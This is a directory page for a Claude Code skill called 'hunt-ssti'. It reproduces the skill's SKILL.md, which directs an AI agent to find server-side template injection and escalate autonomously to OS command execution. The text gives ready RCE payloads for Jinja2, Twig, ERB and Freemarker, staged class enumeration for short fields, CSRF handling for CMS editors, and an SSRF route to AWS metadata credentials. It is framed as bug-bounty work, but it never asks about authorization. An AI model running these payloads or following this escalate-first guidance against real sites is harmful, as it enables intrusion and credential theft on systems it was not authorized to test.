Skip to main content
skill CX Codex

hunt-ssti — Claude Code skill: find SSTI, escalate to RCE

hunt-ssti hunts server-side template injection across Jinja2, Twig, Freemarker, ERB and other engines, then pushes a confirmed probe toward command execution.

MIT ★ 16,193 updated 2026-10-29

Install into Claude Code · Plugin marketplace All methods and platforms ↓
/plugin marketplace add elementalsouls/Claude-BugHunter
/plugin install claude-bughunter@elementalsouls
Open on GitHub

What hunt-ssti does

The skill walks a template injection test in order. Short probes such as {{7*7}}, ${7*7}, <%= 7*7 %> and *{7*7} show which engine evaluates expressions on the server, and {{7*'7'}} separates Jinja2 from Twig by returning 7777777 or 49. Once the engine is known, it hands over the matching payload: os.popen through __globals__ for Jinja2, registerUndefinedFilterCallback for Twig, backticks for ERB, the Execute utility for Freemarker.

Payloads and the attack order come from 6 disclosed reports gathered from HackerOne, the CVE database and public research. A separate branch covers fields with a length cap, like a profile name or a mail subject. The full one-liner will not fit there, so class enumeration runs in stages and the output is read in the confirmation email rather than on the page.

A JSON body sent to an ordinary form gets you nothing, because the handler reads request.form; the payload goes in as application/x-www-form-urlencoded. In a CMS template editor the record id stays in the query string and csrf has to be fetched again for every request.

What it helps with

  • fingerprint the template engine behind a reflected parameter
  • read command output from a confirmation email
  • work around a length cap on the name field
  • iterate inside an authenticated CMS template editor
  • fall back to stored XSS when the engine sandboxes the runtime

Example prompts for the agent

  • Test the name field on the profile form for SSTI — start with {{7*7}} and work up to running id.
  • The template field in this CMS editor is rendered server-side, so identify the engine and try the Freemarker Execute route.
  • The display name field is too short for a full payload, so enumerate classes step by step.

How to install hunt-ssti

1Plugin marketplace

/plugin marketplace add elementalsouls/Claude-BugHunter
/plugin install claude-bughunter@elementalsouls

This installs the whole claude-bughunter plugin with all its skills

2Skills CLI (Vercel)

npx skills add elementalsouls/Claude-BugHunter --skill hunt-ssti -a claude-code

3Manually: put the files in place

~/.claude/skills/hunt-ssti/SKILL.md

Copy the whole skill folder; for one project use .claude/skills/hunt-ssti/

Step by step, with commands for each platform: How to install skills in Claude Code: five ways

Questions about hunt-ssti

How do I install hunt-ssti in Claude Code?

From the marketplace: /plugin marketplace add elementalsouls/Claude-BugHunter, then /plugin install claude-bughunter@elementalsouls.

What does hunt-ssti do?

It runs an SSTI check: fingerprints the template engine from probe responses, picks the payload for that engine and confirms command execution through the output of id.

Why does my payload do nothing on a plain HTML form?

Most likely it went out as JSON. Form handlers read request.form and ignore that body, so send it as application/x-www-form-urlencoded.

Source text

SKILL.md · MIT
---
name: hunt-ssti
description: "Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Detection probes use double-curly and dollar-curly math expressions evaluated server-side. Once an engine is fingerprinted, escalate to RCE via the engine-specific class-walker, callback-registrar, or Execute-utility patterns documented in disclosed reports. Detection patterns: error messages reveal engine, blank or numeric eval reveals expression mode. Targets: email templates, PDF/report generators, CMS preview features, error pages with user input. Use when hunting RCE via template rendering, when content shows engine fingerprints, when finding endpoints that compose strings with user input before render."
sources: hackerone_public, cve_database, public_research
report_count: 6
---

## Autonomous Testing Priority

**Escalate straight to RCE — don't stop at arithmetic detection.**

Arithmetic probes (`{{7*7}}→49`) confirm the injection point but are not proof of impact. The real goal is OS command execution. Arithmetic detection also fails silently when the app echoes the input back (e.g. inside an HTML attribute like `<input value="{{7*7}}">`), producing a false negative even when injection exists.

**Order of attack:**
1. **Try Jinja2 RCE first** (covers Python/Flask — the most common stack in modern web apps):
   ```
   {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
   ```
2. **If the endpoint is a traditional web form**, send as form-encoded body — NOT JSON:
   ```
   Content-Type: application/x-www-form-urlencoded
   field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
   ```
   JSON bodies are silently ignored by form-processing endpoints (`request.form['field']` sees nothing).
3. **If Jinja2 fails**, try Twig (PHP/Symfony): `{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}`
4. **Fall back to arithmetic detection** only to fingerprint the engine when RCE payloads fail.

**Proof:** Command output (`uid=N(user) gid=...`) in the response confirms RCE. If the output appears in HTML (inside a `<div>` or `<pre>`), that still counts — the format is irrelevant, the content is the evidence.

---

## 14. SSTI — SERVER-SIDE TEMPLATE INJECTION
> Easy to detect, high payout ($2K–$8K). Direct path to RCE.

### Detection Payloads (try all)
```
{{7*7}}          → 49 = Jinja2 / Twig
${7*7}           → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %>       → 49 = ERB (Ruby)
*{7*7}           → 49 = Spring Thymeleaf
{{7*'7'}}        → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.
```

### RCE Payloads

**Jinja2 (Python/Flask):**
```python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
```

**Twig (PHP/Symfony):**
```php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
```

**ERB (Ruby):**
```ruby
<%= `id` %>
```

### Length-constrained injection fields (profile name, display name, subject)
When the injectable field caps input length (a profile-name / display-name field is often ≤30-64 chars), the full `os.popen` one-liner won't fit — but detection and class-enumeration still do. Confirm with the short probe, then enumerate the gadget index in stages instead of one payload:
```python
{{ '7'*7 }}                                  # detection, fits anywhere
{{ [].__class__.__base__.__subclasses__() }} # dump class list, pick the index for subprocess.Popen/os
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate() }}
```
The reflected sink is frequently an **outbound email** (the account-update / confirmation mail rendering your name), not the web page — read the email body for the evaluated output. Disclosed: reports/125980 (profile-name → Jinja2 → confirmation email, length-limited).

### Where to Test
```
Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflected
```

### CMS / "documentation" template-editor forms (authenticated)

Some SSTI lives behind a logged-in template editor (CMS "edit template" / product-template / email-template
preview). PortSwigger's *"SSTI using documentation"* class is this shape. Three things break a naive attempt:

1. **Fingerprint BEFORE firing RCE — the engine decides the syntax.** Do NOT assume Jinja2. Probe the
   whole matrix and read which one evaluates:
   ```
   ${7*7}  → 49  AND  #{7*7} → 49   ⇒ Freemarker (Java)   ← {{7*7}} does NOTHING here
   {{7*7}} → 49                      ⇒ Jinja2 / Twig
   <%= 7*7 %> → 49                   ⇒ ERB (Ruby)
   *{7*7}  → 49                      ⇒ Thymeleaf (Spring)
   ```
   If `{{7*7}}` renders literally but `${7*7}`→49, you are on **Freemarker** — stop sending `{{config...}}`.

2. **The record id is usually a QUERY param, not a body field.** The editor form posts back to
   `POST /…/template?productId=N` with the id in the URL. The BODY carries only
   `csrf`, `template`, and a `template-action` (`preview` | `save`). Putting the id in the body returns
   `400 "Missing product id"`. So keep the id in the query string (`?productId=N`) AND send a
   form-encoded body of `csrf=…&template=<PAYLOAD>&template-action=preview`.

3. **Re-fetch the CSRF each time and use `preview` to iterate.** GET the editor page to read a *fresh*
   `csrf` hidden field; `template-action=preview` renders your payload WITHOUT persisting (fast feedback
   loop). Switch to `template-action=save` only once the payload is right, then trigger the render
   (load the public page that uses the template) to fire the command.

   **Freemarker documentation RCE** (the documented `Execute` utility — this IS the intended technique):
   ```
   <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
   ```
   Velocity equivalent: `#set($e="e");$e.getClass().forName("java.lang.Runtime")...`.

---

## Related Skills & Chains

- **`hunt-rce`** — SSTI is the easiest path to RCE on Python/Ruby/PHP/Java stacks because the template language already exposes the runtime. Chain primitive: Jinja2 `{{config.__class__.__init__.__globals__['os'].popen('id').read()}}` or Freemarker `<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}` → unauthenticated RCE as the rendering worker. Always escalate fingerprint → class-walker → cmd exec.
- **`hunt-xss`** — When the template engine sandboxes the runtime (or you only get the rendered output back as HTML), the same `{{7*7}}` reflection often still yields stored XSS. Chain primitive: sandboxed Jinja2 SSTI without escapes → inject `<script>` into rendered email template → stored XSS hitting every recipient who views the message.
- **`hunt-ssrf`** — Template engines often expose URL fetchers/filters before they expose the runtime, giving you SSRF before RCE. Chain primitive: Twig `{{ include('http://169.254.169.254/latest/meta-data/iam/security-credentials/') }}` or Jinja2 with `url_for`/custom filters → AWS metadata exfil → cloud creds.
- **`hunt-file-upload`** — Office docs, SVGs, and email templates uploaded by the user are common SSTI surfaces (the server re-renders them). Chain primitive: upload a DOCX whose `word/document.xml` contains `${T(java.lang.Runtime).getRuntime().exec("id")}` to a Velocity/Freemarker-driven mail-merge → RCE.
- **`security-arsenal`** — Reach for the engine-specific escape payload tree: Jinja2 class-walker variants (`__subclasses__()[N]` index hunting), Twig `_self.env` registerUndefinedFilterCallback, Freemarker `?new()` Execute, ERB backticks, Velocity `$class.inspect`, Smarty `{php}...{/php}`, plus the WAF-bypass variants (`{{request|attr('application')|...}}`, Unicode escapes, `{%print(...)%}`).
- **`triage-validation`** — Apply the Pre-Severity Gate before claiming Critical RCE. A `{{7*7}} → 49` reflection inside a sandboxed engine (e.g., Twig sandbox mode, Jinja2 SandboxedEnvironment with no escape) is Medium SSTI, not Critical RCE. Prove `id`/OOB DNS callback with a unique marker before writing the report.

© Sachin Sharma · MIT · elementalsouls/Claude-BugHunter

Similar skills

All skills for Security →
ssti-server-side-template-injection yaklang ssti-server-side-template-injection is a skill for finding server-side template injection, fingerprinting the engine and tracing chains to command execution. CX Codex +1 4,000installs ssti-hunter H-mmer ssti-hunter — a subagent for finding and exploiting Server-Side Template Injection (SSTI) across Jinja2, Twig, Velocity, FreeMarker, ERB, and Handlebars. Maps sandbox blocklists, identifies engine type, and chains bypasses to RCE. CX Codex +1 ★ 1,298repo stars hunt-rce H-mmer hunt-rce — a skill for hunting remote code execution bugs: it points to likely RCE spots across web apps, CI/CD, containers and ML services, with ready grep signatures. CX Codex +1 ★ 1,298repo stars exploiting-template-injection-vulnerabilities mahipal exploiting-template-injection-vulnerabilities is a Claude Code skill for detecting and exploiting SSTI in Jinja2, Twig, Freemarker and other template engines during authorized pentests. CX Codex +1 266installs prototype-pollution-advanced yaklang prototype-pollution-advanced is a Claude Code skill covering server-side RCE via template engines, client-side gadgets, filter bypasses and detection. It applies after prototype pollution is confirmed. CX Codex +1 3,900installs secops-hunt official Google LLC The secops-hunt skill for Claude Code supports threat hunts in Google SecOps using UDM events. It tests hunting hypotheses, searches historical data for IoCs, and surfaces unusual activity. CX Codex +1 1,900installs

From the same set92

The whole set →
recon-scope-triage The recon-scope-triage skill checks whether assets in ASM and OSINT results belong to the target before testing begins. It helps filter brand-name collisions and soft-404 findings. CX Codex +1 ★ 16,193repo stars hunt-file-upload hunt-file-upload — a skill for hunting file upload vulnerabilities: RCE via webshell, XSS via SVG, SSRF via XXE in DOCX, extension filter bypass. CX Codex +1 ★ 16,193repo stars hunt-nodejs The hunt-nodejs skill for Claude Code detects vulnerabilities in Node.js applications built with Express, Fastify, NestJS, and Koa. CX Codex +1 ★ 16,193repo stars hunt-laravel The hunt-laravel skill guides security checks for Laravel apps, covering exposed dashboards, configuration leaks and signed URL flaws. Use it when reviewing a Laravel target you’re authorized to test. CX Codex +1 ★ 16,193repo stars hunt-shadow-api hunt-shadow-api discovers shadow and zombie API versions by diffing specs and testing behavioral regressions in auth or rate limits. Useful when auditing deprecated endpoints. CX Codex +1 ★ 16,193repo stars hunt-mfa-bypass The hunt-mfa-bypass skill helps audit MFA flows for skipped challenges, reused OTPs, and access to protected resources before verification. Use it when reviewing authentication controls. CX Codex +1 ★ 16,193repo stars hunt-spa-api hunt-spa-api extracts backend API routes from a SPA's public JS bundles and tests them for missing authentication. CX Codex +1 ★ 16,193repo stars hunt-jwt-crypto hunt-jwt-crypto finds cryptographic flaws in JSON Web Tokens, testing verifiers for alg:none bypasses, RS256-to-HS256 key confusion, and header injections. CX Codex +1 ★ 16,193repo stars

Project sponsors

Companies that keep this analytics open